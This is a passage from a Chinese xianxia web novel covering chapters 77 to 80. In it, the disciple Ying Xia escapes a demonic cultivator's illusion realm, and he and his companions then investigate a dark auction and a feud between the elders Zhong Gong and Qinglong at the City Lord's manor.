她松开手,又笑起来,像是十分关心应夏,提醒他:“你可千万别像我一样,喜欢上正道的人,我们可是魔修,和他们是死敌。” 第77章 第 77 章 玉簪上有残留的破碎魂魄。 应夏看着眼前依旧带着无比天真神情的童彤, 勾了勾唇。 “时间差不多了,我该走了。” 童彤在溪水中晃荡的脚丫突然停止了动作,秀眉一皱, 道:“没有我的同意,你怎么离开的了?” 应夏将鞋子穿好站了起来,却并没有走远与她拉开一段安全距离, 而是就这么靠近地说:“还要感谢你,将这个幻境空间的弱点告诉我。” “不可能!”童彤“唰”地一下从石块上坐起来, 站在溪水里仰头看着高了自己许多的应夏,道,“我的弱点可不是什么天枢,也并非什么情爱, 你怎么会找到?” 就因为她与天枢的事并非她的执念,所以并不害怕将其告知与人。 应夏微微弯腰,一双眼瞳盯着少女疑惑不解的面容,仿佛要透过表层的皮囊看进她的心里。 “我大概能猜到你为什么要来这暗面的拍卖会捣乱了。” 话题跳跃得太快, 童彤有些反应不过来:“……什么?” 应夏直起身子, 抬手一丝纯黑的魔气从手心涌出, 那一丝魔气行至半空,似乎拽到了什么东西,用力拉扯的过程中,整个幻境空间逐渐出现了裂痕。 至此童彤的神色完全变了, 她瞪大着眼睛不可置信地看了看周围, 那闲适悠然的景色突然冒出了裂痕, 又立马看向应夏的掌心,厉声道:“你在做什么?!” “都到这个地步了,你还是没有攻击我, 看来你是真的很不想暴露你只是一块灵魂碎片的事实吧?” 这句话像是一道惊雷,将童彤整个人劈愣在原地,嘴唇张张合合好一会儿才憋出一句:“你在说什么?” 应夏挑眉:“你……难道你根本不知道自己是……?” 他之所以会坐下来与童彤聊天,当然不是因为忘记了他如今身陷困境而师父为了救他费尽心力,而是因为他想借此寻找离开幻境空间的办法。 应夏又不傻,也不会因外表看轻别人。这个童彤可是炼虚期魔修,而且还是天生修魔,她怎会真的如一个普通少女一般天真。 他们不过才刚见面刚认识,她就愿意将自己的过往经历都诉说出来,有没有造假的成分另说,但她能告诉别人的肯定不是什么能破开这幻境空间的东西。 但应夏与她聊天也并非一无所获,趁机降低童彤的心防,应夏可以驱使自己体内的魔气了。大概是因为同为修魔的,这个幻境空间对灵气灵力的压制更厉害,但是将魔气伪装成与她一样的魔气,便能够施展了。 这也是为什么应夏会坐在靠近她的位置的原因,为了方便搜寻模拟魔气。 二人说话间,应夏一边提问、应声来迷惑童彤,而另一边便是悄摸地将魔气伪装起来,有了可以驱使的魔气后,想要找到这个幻境空间的破解之法便容易许多了。 因为幻境空间把应夏的魔气当成是自己的魔气,所以一些隐蔽且重要的地方他就能很快摸查到。 话音未落,那丝魔气终于将东西扯了出来,那是一根残破的玉簪,顶头的雕花碎裂了一半,雕花上还留着乌黑干涸的血迹。 这是应夏在这条溪流的尽头找到的,它被沉在底部,但周身的能量十分巨大,那是……魂力!这支玉簪上有残留的破碎魂魄! 在应夏的魔气抓住玉簪时,一些断断续续地记忆涌入了他的脑海。 原来如此……原来他面前的这位少女不过是一个灵魂碎片…… 童彤目光触及到那枚玉簪时,突然尖叫起来,浓烈的黑气从她周身冒出来,将她整个人完全吞没。 黑气便是破碎魂魄残留的魔气,它凶猛地朝应夏冲来,张开血盆大口势要将他吞噬。 然而,应夏伸手一握住那支玉簪,那来势汹汹的魔气顷刻间四散而去,最后全部汇聚到玉簪之中。 与此同时,一道撼天剑气破光而来,幻境空间应声而裂,周围的景色完全破碎、剥落。 应夏似乎没注意到这道剑气,他垂眸视线落在那支玉簪上,蹙着眉抿起了唇。 还没等多想,他便落入了一个温暖的怀抱之中。 应夏不用想也知道这是谁。 是他的师父,温却沧。 皱起的眉被一点温热细细抹平,应夏抬眸正好望入那双含情的桃花眼中,他听到耳边传来一声轻轻的喟叹,而后拥着他的手臂更用力地将他按入怀中。 身上渡来精纯的灵力,竟是温却沧不由分说地传来。 应夏突然意识到,立刻挣了挣,道:“师父!我身上有魔气!”不管是他自己的还是童彤留下的魔气,这对温却沧来说极为不利。 而且魔气加上精纯的灵力,这不得…… “没事。” 话音刚落,应夏便察觉到那股精纯的灵力温和地将他身上的魔气全部吞掉了,魔气甚至都没来得及挣扎反抗,就完全被压制着吞噬殆尽。 应夏突然颤抖了一下。 温却沧以为他是害怕,更将他拥紧了些,伸手抚着他的脊背,安抚道:“别怕,师父在。” 闻言,应夏却暗自苦笑了声,他想起了玉簪上残留的破碎记忆…… 童彤之前和他说的有关天枢长老的事情,并无编造,甚至还省去了许多细节。 比如,天枢长老杀童彤的时候,她是毫无防备之下被心爱之人一剑穿心,虽然她没有死但仍是受了极为严重的伤,修为甚至倒退了两个境界。 但她不甘心,她后来还拖着残破的身躯去找了天枢长老,试图解释自己是一个好魔修,从未杀过、伤过一个好人。但是天枢长老没有相信,最后将她的魂魄打散。 应夏第一次知道,原来没有发现心爱的人是魔修的天枢长老,看童彤的眼神是那么温柔如水,就像师父现在看他的眼神一样。 可是,在知道她是魔修后,那双眼睛就变得格外的冰冷,看自己曾经最爱的人如看一个死物。 就连应夏旁观着这段记忆,都不免觉得心惊肉跳。 师父他……也会这样看自己吗? 只要一想到这个可能性,应夏就觉得胸口闷得慌,他甚至忍不住生出些许怨怒。 他闭上眼睛不愿去想。 良久,他轻轻地问了一个问题:“师父,如果我变成魔了怎么办?” 温却沧温柔地摸着他的脑袋,道:“不会的,有师父在。” 过了很久应夏才“嗯”了一声,然后推开温却沧的怀抱,说:“师父,我已经好了。” 温却沧又十分不放心地伸手触碰了一下他的脸颊,再次确认,“真的没事了?” “没事了。” 应夏这才意识到他们现在正悬空在一崖壁旁,他微怔道:“这……是哪儿?” “这里已经脱离中心城的范围,快接近西宁边城了。”温却沧说道。 西宁……边城?应夏想起破碎的记忆中,童彤是出生在西宁边城的,这大概也是为什么她的幻境空间会离得这么近的原因吧。 应夏本想说什么,突然接收到了小石头的感应,忙把小石头从小空间里拿出来。 “唔,真是憋死我了!”小石头呼吸了下新鲜空气与灵气,甩着枝条说道,“应夏你没事吧?我还以为你……都快担心死我了!” 应夏露出一个浅浅的笑容,说:“我没事。”顿了顿又补了句,“有师父在呢。” 小石头高兴地摸了摸应夏,又伸出枝条拍了拍温却沧的肩膀,道:“既然都没事,我们快回中心城吧?裴道远和穆槐序他俩被城主府的人抓起来了!” “什么?!”应夏迅速问道,“怎么回事?” “因为距离城主府最近的那个酒楼,就是暗地举办拍卖会的那个酒楼,那里发生了爆炸,殃及了方圆几十里,就连城主府都受到了影响!自然惊动了城主,正派人将事发地围了起来,还拿下了许多修士。” 小石头担忧道,“裴道远他们运气不好,出来的时候刚好在那酒楼旁边,还没来得及逃掉便被抓起来了。” “爆炸?”怎么会有爆炸?难道是那魔气…… 小石头解释道:“是这样的,那个灰衣魔修弄开石门后,魔气四溢,也不知道是触及了哪里的阵法或者禁制,导致整个拍卖会的地下空间发生了爆炸,那座酒楼因为有传送阵法也遭了殃。” 突然想到什么,小石头继续道,“裴道远让我告诉你,他在牢里看到了许多丹顶阁和御兽门的弟子,都是被城主府的抓进来的。” 应夏皱起眉,看来城主应该已经是知道暗面拍卖会的事情了。 “还有其他的吗?” 小石头挥挥枝条,说:“没了,就这些。” 温却沧道:“走吧,回去救他们。” 应夏点点头,问道:“师父,你说城主他究竟知不知道有暗面拍卖会的事情?” 温却沧思考了一会儿,“以我对谭阳羽的了解,他绝不会容许暗面拍卖会的发生,他是一个嫉恶如仇的人。” 暗面拍卖会的拍品是在令人骇目,再加上这种事情又出现在他眼皮子底下……恐怕谭阳羽是不会轻易罢休了。 应夏敛下眸,如果是这样的话,那个被用来续命的魔修究竟是给谁的呢? 第78章 第 78 章 城主府里出现了内鬼?…… 应夏与温却沧再次回到中心城内, 发现这里相比之前已变得冷清不少,许多店铺都闭门谢客,街道上经常能看见城主府的人巡逻。 看来小石头口中的那场爆炸, 影响还挺大的。 温却沧身上带着城主令牌,很顺利的进入了城主府,并很快被请见城主。 谭阳羽依旧坐在书房里, 不过似乎忙得很,他们进来的时候, 正巧听到手下的汇报。 “城主大人,那些丹顶阁和御兽门的弟子们在地牢里很不安分,他们……”正在说话的仆从似乎察觉到有人进屋,顿了一下, 视线瞥见城主仍示意他继续,这才说了下去。 总结来说便是被谭阳羽抓起来的那些人并不配合,询问酒楼爆炸的事情都说不知道,即便是某些弟子身上已沾染了魔气也说不知, 甚至对城主府的人恶语相向。 谭阳羽皱着眉, 问道:“那间酒楼调查的怎么样了?” 仆从立刻低下头去, 谨慎地回答道:“回城主,爆炸将酒楼的一切都炸毁了,不过留下了些许魔气痕迹,属下正着人调查, 暂时还未有结果。” 谭阳羽没有看那名仆从, 只是抬手让进来的应夏和温却沧二人坐下, 然后才对那名仆从说:“看来是觉得我太好说话了,原本不希望将事情弄得太难看,现在既然他们不配合, 便动用一些手段让他们配合。” 动用一些手段?应夏刚坐下便听到这么一句话,他还以为城主早就用刑了,看来还是稍微给了那两个门派一些面子,只不过对方并没有好好珍惜。 “是。”仆从立即应声,又弱弱地问了一句,“城主,听闻丹顶阁阁主已为此出关在赶来的路上了,御兽门的青龙长老也在城内做客,会不会……” 谭阳羽突然冷笑一声,道:“你怕了?”说这句话时,书房内气氛骤变,凛冽的风旋转在他周身,十足的来了一个威压。 但是那风在波及到应夏时,早早便被化解了,他克制住没有转头去看温却沧,仍是盯着谭阳羽。 仆从被谭阳羽的威压压着整个人趴倒在了地上,他连忙补救道:“是属下错了!中心城不会惧怕任何人!” “很好。”谭阳羽收敛了气势,“下去做事吧,这一次我可不想再听到什么无用的消息。不需要对他们手下留情,我既然敢抓便已经做好了准备。” “是,属下告退。” 等到那仆从退出书房后,空气中凝重的氛围稍稍散去些许。 谭阳羽抬眸看向二人,温却沧看了眼应夏,随后将他们在酒楼中的见闻简单告诉了城主,并没有隐瞒那名灰衣魔修的事情。 “倒与裴小友说的分毫不差。”谭阳羽稍露出些笑意,但很快又消散,“魔修,又是魔修搞得鬼!” 应夏忍不住问道:“城主,裴道远他们现在在哪里?听说他们也被城主抓起来关在牢里了。” “起初确实如此,不过此事也是属下告诉我才知道的。”谭阳羽摆了一个稍安勿躁的手势,继续说道,“之后我亲自去看了他们,裴小友将事情的来龙去脉告诉了我,我已经将他们接回了府内,他们如今应该在客房内,并未受伤。” 想了想,谭阳羽又抬手打了个响指,一个黑衣人不知从哪里冒出来,半跪在书桌面前,等待吩咐。 “去将他们请过来。” “是。” 应夏拱手道:“多谢城主。” “无妨,小事。” 谭阳羽低头看了眼手中的信纸,又问:“你说你们还看见拍品里原本是有一个魔修的?” “没错,这也是裴道远看到的,而且那个魔修身上被人下了咒术。”应夏将那魔修被拿来续命一事告知城主,还十分大胆地问道,“城主,城主府内是否有人可能与此有关?” 谭阳羽倒并不介意,反而沉思了一会儿,说:“没有,我城主府内的所有修士都身体康健,也并无修炼咒术符法之人。” 应夏看着他的眼睛,直觉告诉他谭阳羽并没有说谎,而心声也并未听出什么波澜,看来那个魔修确实与城主府的人无关。这样的话,那便是御兽门或者丹顶阁的人了。 显然谭阳羽也想到了,他说:“太大胆了,即便是真的有人使用了魔修来给自己续命,没道理不好好藏起来,反而在这人多眼杂的节骨眼上暴露了,甚至还让那魔修逃跑了。” 确实十分不合常理,但是因为一直没找到使用者是谁,所以一时间也分析不出什么来。 这个时候听到城主的分析,应夏突然想到一种可能性,是不是有人想借此……陷害或者除掉某人?但这也只是猜测没有证据,所以应夏并没有将其说出口。 “不过,若说是否有人可能会利用魔修来给自己续命,倒还真的有那么一个符合条件的人。” “是谁?” 谭阳羽摸着下巴沉思了一会儿,刚想开口,便察觉到有人来了。 “应夏!小师叔!还好你们都没事!”来人正是裴道远、穆槐序和宁妄三人。 裴道远十分夸张地跑过来想要抱住应夏,被应夏抬手挡住,“行了,你们没事吧?” “没事没事,之前刚和你说完,城主便亲自来把我们接了出去。”裴道远又笑着朝谭阳羽拱手行礼,表示谢意。 “咳咳咳,抱歉打扰到城主待客了,老身前来确有要事相商。”一个鹤发老人出现在门口,他的脸上布满皱纹,见屋内几人都看过来,和蔼地笑了笑。 应夏看见这人瞬间皱起眉,这老人的修为不在谭阳羽之下,但身上的违和感很重,让他一时有些分辨不出到底是哪里不太对劲。 谭阳羽对老人并不客气,似乎十分不待见他,道:“既然都知道打扰了,还不速速离去?” 那老人也不在意,解释道:“老身此次前来确实有十分重要紧急的事情,需要找城主相商。” 谭阳羽说:“丹顶阁阁主明日才到,有什么事正好等阁主在场了再说吧。” “不可,等到明天便来不及了!”老人摇摇头,叹气道,“城主,我知道您是在介怀拍卖会一事,但那拍卖会确实与丹顶阁无关,您不能……” 这个人是丹顶阁的人?应夏眯起眼睛,刚刚城主欲言又止的那个人是不是说的这人?看起来确实像是需要有什么来续命的样子。 谭阳羽似乎极为不耐烦,抬手制止老人继续说话,道:“好了,暗面拍卖会是否与丹顶阁有关,我会查出来的,到时候该清白的人自然会清白。” 那老人还想说什么,却被谭阳羽抬手叫人,“仲公,既然有要事相商,且在偏殿等一会儿,等我处理好这里的事情便过来。” 被称为仲公的老人也只能答应,走之前环视了屋内众人一圈。 关上门后,应夏赶紧问:“城主,你刚刚说的那人是不是就指这人?” 谭阳羽点点头,道:“没错,他是丹顶阁的长老仲公,此次与御兽门的联合拍卖会便是他与青龙牵头,曾经他与我有一段因缘,借中心城城主府举办拍卖会便是还他一个人情债。” 谁知道还个人情债竟是惹来这么大一麻烦,搞得人焦头烂额。 “仲公曾被魔修伤过,他如今虽是炼虚期实际上实力如同化神期一般。”谭阳羽道,“不过虽然如此,但他应该也还没有到需要外物来续命的地步,只是修为境界稍显阻塞。” 裴道远一下便反应过来他们是在谈论那个魔修的事情,他是亲眼看见的那人,仔细回想了一下当时的情况,说:“抬着那名魔修的人中有城主府的人,他既然是丹顶阁的长老,怎么会差使城主府的人?而且更容易暴露。” 或者说……城主府里出现了内鬼? 此事非同小可,谭阳羽神色凝重,“你能确定是城主府的下人?还记得他们长得什么样子么?” 裴道远回忆了一下,将印象中的画面花在了纸上,交给城主,“只有一些模糊印象了,可能不太准确,当时的注意力全部都集中在那个魔修身上了。” “无妨,多谢。”谭阳羽看了眼那纸,确认自己没有印象后,便交于暗卫调查。 应夏思考了许久,还是开口问道:“城主,待会儿你与那仲公相商之时,能否带上我?” “为何?” “我总觉得他身上有什么地方不对劲,我想再仔细观察。” “你的意思是?” 应夏说:“现在我还不能确定,如果城主觉得不可便当我没说。” 意外的是谭阳羽答应了,只是道:“不过如果带上你一起去的话,或许他会有顾忌。” 应夏笑了:“这倒是小事,我有特制的隐匿符,绝对不会被他发现的。”隐匿符的事情已经在告知暗面拍卖会的时候说过了。 “如此便可。”谭阳羽看向温却沧,道,“我会保护好他。” 温却沧抬手:“有劳。” 应夏仍是没有去看他,只是皱着眉沉思着什么。 温却沧意识到从那魔修的幻境空间出来后,自家徒弟似乎一直在与他保持距离,默默疏远,这可不好受。 是那魔修与他说了什么?温却沧不知,他的眼里映着少年思考的侧脸,却没有外露任何一丝情绪。 应夏知道师父在看着他,但他不想去思考二人的事情,只能将心神都集中在拍卖会的事情上,好让自己眼前不再浮现出那双假想的冰冷眼眸。 第79章 第 79 章 “这两人是想互相泼脏水…… 房门打开便瞧见仲公一直等在屋内, 谭阳羽扫了眼桌上仍旧未动的茶,视线落到老人脸上,问道:“希望仲公所言确实是要紧事。” 一如既往的不客气, 仲公也没在意,看着谭阳羽抬手,身后的门便自动合上, 并未察觉不对,连忙解释:“城主, 今日发生这种事情,也并非老身所愿,做这件事的一定不会是老身,毕竟没有人能傻到在中心城动手脚, 更何况……拍卖会一事,本就是老身所托,岂不是嫌疑最大?” 谭阳羽不动声色地掠过身旁的虚空,像是极为不耐烦地蹙眉打断仲公的絮絮叨叨, “若是仲公所言要紧事是这个, 那就不必多说了。” 说完作势便要转身离开, 很快被仲公出言留下,“城主!老身毕竟是老了,这人上了年纪便喜欢念叨些琐碎事情,让城主见笑了。” 说完叹了一口气, 然后神色严肃道:“城主, 接下来我要说的事, 您可别觉得惊讶。” 谭阳羽扯了扯嘴角,但没有反驳,只是静静地看着仲公, 等待着他接下来的话。 “我怀疑,暗面拍卖会一事是御兽门青龙长老所做。” 这一开口倒是把隐藏在暗处的应夏惊到了。 谭阳羽没有什么反应,只是挑了下眉,语气波澜不惊道:“哦?为什么会突然这么说?有何证据?” 仲公将手伸进袖口,似乎在掏什么东西,应夏感觉到一丝不妙的气息,随后便见他从袖中掏出一块破碎的沾有血迹的铁链,看上去有些眼熟。 “这是我丹顶阁弟子交予我的东西,他也被城主关起来了,刚才我去看望弟子们时,他偷偷与我谈话,我这才知道原来青龙长老竟做下这等错事。” 仲公的表情极为惋惜,却又带着大义灭亲之势。 “我进入地牢一事城主也应该是知晓的,他们不与城主说也是因为太过害怕了,又不信任城主,只好告知于我。”仲公继续说道,“原来青龙长老派手下弟子以我的名义给他们下了些命令和任务,与暗面拍卖会的拍品有关,说是让他们一起看护并到时候转移,当时他们并不知道里面有什么东西。” 谭阳羽看着仲公,没说信或不信,只是眼神示意他继续说下去。 仲公将那一小段铁链置于桌上,推到谭阳羽面前,道:“那名弟子修为低看不出来,但城主一眼便能看破这是什么吧?” 谭阳羽看着那段血迹斑斑的铁链,启唇吐出几个字:“缚魔锁。” 闻言,应夏微皱眉头,但也没有冒险去试探那锁链。 “没错,这便是大名鼎鼎的缚魔锁!”仲公道,“这东西他是在那放置拍品的仓库中捡到的,觉得异样便藏了起来,直到酒楼发生爆炸,他们被抓起来,才想到这铁链定有不妥。” 谭阳羽似乎极为认真地在查看那段铁链,然后问道:“即便如此,这段铁链也并不能说明与青龙长老有关。” “如何没有关系?”仲公怕城主不信,伸出皮包骨的枯瘦指节,点了一下那段铁链,陡然间,那铁链上溢出些许带着血腥气味的魔气。 此时,谭阳羽周身的气势骤变,强大的气场放出压制住了铁链上的魔气,让其不再四散。 这个气场不分敌我,仲公被突然施加的压力逼得咳出一口鲜血。 “抱歉。”谭阳羽敛下气势,只将那魔气禁锢在桌上的一小片范围。 仲公擦了擦嘴边的血渍,又咳嗽了好几声才缓过来,道:“老身没事,也怪我没有提前告知城主一声。” “不过是这铁链上留有魔气痕迹,你想说什么?” 仲公道:“城主请仔细分辨这个魔气,其中是不是留有一丝妖力?” 听他这么说,谭阳羽才细细去查看那魔气,魔气弱小抵不住城主的灵力,被绞杀碎裂后果然显露出一丝微不可查的妖力来,而且这个妖力极为熟悉。 谭阳羽沉吟半晌,道:“……确实很像青龙长老的妖力。” 虽然御兽门的四位长老本身都是人类,但他们因修炼功法所以身体部分兽化,导致他们身上的灵力会掺和一些妖力,不过这并不会影响他们修行,反而会因为多了一丝妖力而更胜同期之人。 仲公见谭阳羽似乎相信了,连忙加了把火,“就是青龙长老的,我与他接触这么多年,绝不会认错!没想到他竟然是这暗面拍卖会的幕后黑手,甚至还和魔修搅和到了一起!” 谭阳羽陷入了沉思当中,像是在思考估量着什么,仲公见状安心不少,认为城主这是相信他了。 而就是因为这一丝松懈,应夏听到了他内心的声音。 「本来暗面拍卖会一事就是青龙做的,我只不过是被他无辜卷进来罢了。」 「得想办法杀掉青龙,不能让他暴露续命的事情,反正那咒术我已经学会了。」 「虽然有些可惜御兽门的……不过他既然没能把拍卖会的事情做好,已经没有价值了,不如早点出来背锅!」 应夏暗自冷笑,看来那个被拿来续命的魔修就是青龙用来笼络这人的,不过事情发展到现在,他这是打算反水了。 他这做法没错,将另一个主谋供出来,好让自己脱身,毕竟事到如今仲公自己的嫌疑可是最大了。 虽然应夏这么想着,但还是觉得仲公身上有哪里不太对劲,似乎不止那个续命的事情。 要是能开眼就好了,用那双眼睛一看便能知道他身上的不对之处,只可惜现在不宜动用,毕竟开眼即便仲公发现不了,但谭阳羽一定会有所察觉。 应夏正可惜着,便听谭阳羽问道:“此事确实十分重要,不过仲公为何说不能等阁主到了一起说呢?有丹顶阁阁主在,岂不是更有利于拿下青龙长老?” 仲公长叹一口气,道:“城主有所不知,青龙长老本就生性谨慎,若是等阁主到了,他一定会更加提防,而且我刚刚得到消息,听说他已经在处理那些知情的御兽门弟子了,我想可能等不到阁主到,他便要将那些遗留的痕迹都清除干净,届时便是想找证据也找不到了!” “我一个人的力量太过弱小,所以只能前来求助城主,而且此事也是老身识人不清的过错,拍卖会出了这档子事同样与老身脱不了干系,不过最要紧的还是得找到青龙长老的其他证据,不能让他将线索都销毁!” 谭阳羽看着那段铁链良久,才道:“我明白了。” 仲公似有些激动,站起来拱手道:“城主终于肯相信老身一次了!” “此事我已知晓,会派人盯着青龙,也同样会继续调查,若真是青龙做的……区区一个御兽门,我中心城是不会惧怕的!”谭阳羽将铁链收在手心里,“这铁链我便收下了。” “好,城主千万小心,青龙与魔修勾结,恐怕还有更深的秘密!” “我明白。” 谭阳羽带着应夏从房间里出来,离开偏殿后,谭阳羽突然开口问道:“如何?你可看出什么来了?” 应夏还没说话,便看见一个黑影又落在城主面前,是他的暗卫侍从。 “什么事?” 暗卫答道:“主子,青龙长老有请。” 谭阳羽闻言笑了一声,“看来这两个人是想到一块儿去了。” 应夏默不作声地给自己又拍了一块隐匿符,这是想继续跟过去。 但是谭阳羽却说:“你先回书房去,青龙那儿可不好瞒。” 连城主都这么说了,应夏只好老老实实回城主的书房,温却沧和裴道远等人依旧等在里面。 似乎是觉得等待极为无聊,裴道远和宁妄对弈了起来。 见到应夏一个人回来,裴道远疑惑道:“怎么只有你回来了,城主呢?” “我们刚从仲公那里出来,青龙就把城主又叫了过去。” 应夏将仲公说青龙是幕后黑手的一事复述了出来。 裴道远摸着下巴道:“真有意思,这是两个人想互相泼脏水?” 宁妄说:“青龙绝不会坐以待毙,他应该是已经知道了仲公会出卖他。” “那城主岂不是会有危险?”穆槐序皱眉。 裴道远啧了一声,“不会的,他还没那么傻,虽然宁妄说青龙现在的实力深不可测,但也不会这么明目张胆的杀人,更何况还是中心城的城主,尤其还是在出了这档子事之后。他应该也是和仲公一样,想要将主动权掌握在自己手里。” 宁妄赞同地点点头:“只是不知道他会拿出什么‘证据’来证明仲公。” 应夏突然想到了什么,脸色不太好看,温却沧一直看着他是第一个发现的人,他低声问道:“应夏,怎么了?” 这时讨论的其他人才发现应夏脸色不对,纷纷询问。 应夏摇摇头:“我只是想到一种可能性,那个被拿来续命的魔修是青龙送给仲公的话,而现在那个魔修自失踪后直到爆炸都没有再出现,是不是有可能……” “你的意思是,青龙他可能预料到会发生这种事,所以早就将那魔修抓起来当做揭露仲公的‘证据’?”裴道远很快明白他的意思,“这确实是仲公最好的把柄。” “但是看仲公的样子,不像是那魔修失踪的感觉,若真是如此,他此刻应该是最着急的人,毕竟这魔修落在谁手里对他都极为不利。” 宁妄道,“但他现在的样子,看上去并不担心这个。难道说,他确认过那魔修死了?” 应夏:“所以我也只是猜测。” 温却沧听了半天,说:“等谭阳羽回来,问他便知。” 裴道远立即舒了口气,缓和一下有些凝滞的气氛,“小师叔说的没错,我们在这瞎猜,不如等城主回来,看看青龙长老都与城主说了什么,就知道是怎么回事了。” 不过,几人没想到的是,城主回来后说:“青龙没有与我说任何有关仲公的事情,他把我叫过去只是和我谈被关押在地牢里的御兽门弟子的事情。” 裴道远惊讶不已:“他竟是这么沉得住气?” 谭阳羽点点头,“看上去他只是非常关心自己门下的弟子,而且似乎也不知道暗面拍卖会的事情。” 应夏下意识看了眼宁妄,他闻言晦暗了眼眸,双手不禁握成拳。 “但是铁链上确实有他的妖力,他不可能不知道。”裴道远又道。 谭阳羽沉默了一会儿,说:“这件事你们不必担忧,我有考量,已经派人盯着仲公和青龙。明日等丹顶阁阁主到了,便能知道青龙长老这葫芦里卖得什么药了。” 话音未落,他又看向温却沧,“明日,可能需要你助我一臂之力。” 温却沧颔首:“自然。” 应夏总觉得哪里怪异,按理来说,青龙不该如此淡定什么都不做,难道是知道城主会派人盯梢,所以才按兵不动? 想不明白,便只能等明天了,或许见到青龙就能明白了。 不过在明天到来之前,应夏去做了一件事,他们各自回房间后,应夏撕了一张隐匿符单独去找了宁妄。 宁妄关上房门后突然瞧见屋里多了一人,并没有太过惊讶,道:“我就知道你会来找我。” 应夏开门见山问道:“你也觉得青龙的行为有异?” 宁妄点点头:“见城主回来后那么说,我便能肯定,他一定是抓住了那个续命的魔修,有了决定性的证据,才会不在意仲公反水。” “如果是这样,那他一开始举办这场拍卖会的目的,就有待考究了。”应夏眯起眼睛,“我怀疑,那魔修暴露也是青龙的手笔。” 宁妄立刻明白过来,问:“他是想借此除掉仲公?但是需要举办一个拍卖会,费了这么大力气,绕这么大圈子来除掉一个人?” “这个我没有想明白,但青龙一定是在设计着什么,还记得我说仲公身上有什么不对劲的地方吗?” “记得。” “我怀疑就是因为这个不对劲,但是现在我看不出来,若是能开眼就好了。”应夏叹了口气有些可惜。 宁妄是见过他那双异瞳的人,也知其厉害。 “你来找我,不是单为了说这个吧?” 应夏弯了唇角,“没错,我确实想找你商量一件事。” 第80章 第 80 章 魔修在青龙那里?! 距离酒楼爆炸发生的第二天, 因此出关的丹顶阁阁主终于赶到了中心城。 因为此事城主对外并未透露有关暗面拍卖会的事情,仅向外宣告是魔修捣鬼仍在继续追查,所以在中心城内倒没有引起太大的恐慌, 丹顶阁阁主的到来也没有引起民众的注意。 应夏坐在用来迎宾的高阁雅间内,靠着窗沿瞧着外面已经恢复往日热闹的街道,不禁感叹:“看来城主的保密措施做得不错, 城主府里的内鬼应该都已经被揪出来了吧?” 裴道远捡了颗桌子上摆着的蕴含灵气的红果,听他这么问, 接道:“是啊,我都佩服城主,仅仅一晚上便将十六个内鬼都抓住了,要知道, 这城主府内只算普通奴仆也有上百人,能一夜便通查上下,也不知城主是用了什么法子。” 不像他们两个,一直未有松懈的穆槐序虽然坐在桌旁, 但视线一直未离开过那条被特意留出来的空路, 两边站着城主府的守卫, 神情严肃。 到时候丹顶阁阁主便会从这条路来到这流云阁中。 应夏从窗外收回视线,提醒道:“你可别好奇心太盛。” 被这么说的裴道远十分讶异,惊得差点没握住手中的果子,“这话不应该我对你说么?要是说我们这几人中谁的好奇心最重, 恐怕非你莫属了!” 穆槐序思考了一小会儿, 也点了点头。 应夏勾了勾唇角, 也没有反驳,而是换了个话题,“宁妄说他不想见青龙怕被认出来我倒是理解, 但是师父怎么也没有来?” “是呀。”裴道远放下红果子,透过隔开的屏风往敞开的门外瞅了瞅,除了守卫外并没有看见其他人,若是神识再往外探,便能看到其他用屏风隔开的雅间,其中两间分别坐着仲公和御兽门的青龙长老。 而等到迎来丹顶阁阁主之后,几人便会齐聚这流云阁最大的一间屋子,商讨关于暗面拍卖会和魔气爆炸的事情。 “今天一大早就没见到小师叔,应夏你也没见到小师叔吗?” 应夏也捡了颗红果子在手心内把玩,摇了摇头:“你没见到我当然也不会见到了,我们又不是住在一起。” “也是,虽然小师叔住你隔壁,但他是化神期,若是想不动声色的离开你也发现不了。”裴道远叹了口气,“可是都到这个关头了,小师叔怎么会突然不在呢?” 应夏敛下眼眸,猜测道:“师父不在,会不会是去看酒楼爆炸的现场了?或者说是城主有什么事情拜托师父去做了?” 裴道远立刻反应过来:“你说的没错,这个时候小师叔离开,一定是去做重要的事情了,调查酒楼爆炸应该不会,那里能调查的城主肯定早就掘地三尺调查出来了,大概率就是去帮城主的忙了。” “可是……这个时候需要小师叔去做什么呢?”裴道远拿起扇子敲打着手心,细细思索着。 应夏上下接抛了几次红果,目光却一直游离明显神游天外。 “我知道了!”裴道远似乎很有把握,笑着道,“是不是那个被用来续命的魔修有下落了?” 应夏握住了果子,没再做多余的动作,问:“为什么这么说?” 虽然这么问,但应夏觉得不是,不过他想听听裴道远的见解。 裴道远道:“城主要迎接丹顶阁阁主,还要主持大局,自然脱不开身,而能拜托小师叔去办的事情,一定与此次事件有重大关系,那么除了在这里的人之外,还需要去其他地方办事的,我想到的便只有那个下落不明的魔修了。” 应夏意味不明地笑了笑,去没有说话。 裴道远奇怪他为何这么笑:“怎么?难道我的猜测有这么好笑?” “不是,我只是想到了一些有趣的事情。”应夏松开手,将那颗红果放在桌子中央,示意二人看过来,“你们觉得,城主府的守卫布置如何?” 穆槐序不解地看了眼红果,然后答道:“据我所见,十分严密,而且当时我们一进来便能感觉到有监视的视线。” 应夏又看向裴道远,问:“刚才你说城主一夜抓出了内鬼,不管他如何做到,这个结果就足以说明,至少他是控制着整个城主府的,对不对?” “没错。”裴道远说,“你的意思是,那名魔修不可能逃出城主府?” 应夏点点头:“即便有城主府有内鬼,但是那些内鬼应该是不清楚魔修会逃跑,更何况当日小石头会偷溜进城主府乃是意外举措,并不在什么计划之中,难道那个魔修能料到?还是那个幕后黑手能料到?” 当事人裴道远道:“不可能料到。” “既然如此,即便有内鬼,魔修逃跑可是会惊动城主府内大批的守卫或者说监视者,可是事实是城主并不知道这件事。魔修的存在可以用内鬼的隐瞒来解释,可是魔修的逃跑行为不能预料,如今城主不知道的事实也无法有个合理解释。” 穆槐序皱起眉:“你说的没错,但要是这么说的话,难道那魔修没有逃跑?” “没有逃跑?!”裴道远惊讶,不过很快他便理解了其中的意思,“确实有可能,因为那时我并没有看清之后到底发生了什么,如果魔修真的逃跑了,仅仅是凭十六个内鬼是无法掩盖的,那么那个魔修真的很可能没有逃跑。” 但是新的疑问又出现了。 “若是没有逃跑,那魔修按理说应该被关在宁妄当时所在的箱笼里去往暗面拍卖会,或者被使用者好好关押起来,但是现在的情况是,这个魔修像是突然消失了一般。” 裴道远说道,“我可不相信他还在这个城主府里,毕竟城主昨天都清洗了城主府,就算真有魔修躲在这里面,怎么可能没发现?” 穆槐序也赞同。 还没等应夏开口,裴道远突然领悟了,有些激动道:“是你的魔骨?你的魔骨感应到这城主府内有魔修存在了?” “你没说错,魔骨确实感应到那个魔修了。”应夏稍稍压低声音,虽然在这雅间中布有禁制,里面的说话声绝对不会传到外边,甚至因为城主的关系,监视的眼线都消失了。 